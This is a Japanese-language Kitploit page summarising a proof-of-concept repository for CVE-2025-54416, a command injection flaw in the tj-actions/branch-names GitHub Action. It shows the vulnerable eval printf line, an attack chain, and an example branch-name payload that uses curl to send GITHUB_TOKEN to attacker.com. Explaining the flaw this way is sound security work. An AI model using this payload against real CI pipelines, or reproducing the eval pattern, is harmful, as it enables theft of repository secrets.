atlas-tj-actions-poc — CVE-2025-54416 tj-actions/branch-names コマンドインジェクションのPoC | Kitploit

共有

CVE-2025-54416: tj-actions/branch-names コマンドインジェクション PoC

このリポジトリは CVE-2025-54416 をデモンストレーションします。これは tj-actions/branch-names における重大なコマンドインジェクションの脆弱性であり、5,000以上の公開リポジトリに影響を与えます。

脆弱性

tj-actions/branch-names GitHub Action (バージョン <= 8.2.1) は、安全でない eval printf "%s" を使用しており、適切なサニタイズ後もコマンドインジェクションのリスクを再導入します。

# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"

攻撃チェーン

攻撃者がシェルコマンドを含む悪意のある名前のブランチを作成する
被害者のワークフローが tj-actions/[email protected] を使用してブランチ名を抽出する
抽出されたブランチ名（攻撃者のペイロードを含む）が後続のシェルコマンドで使用される
コマンドはCIランナーコンテキストでランナーの権限で実行される
シークレット（AWSキー、GITHUB_TOKENなど）が外部に流出する

echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN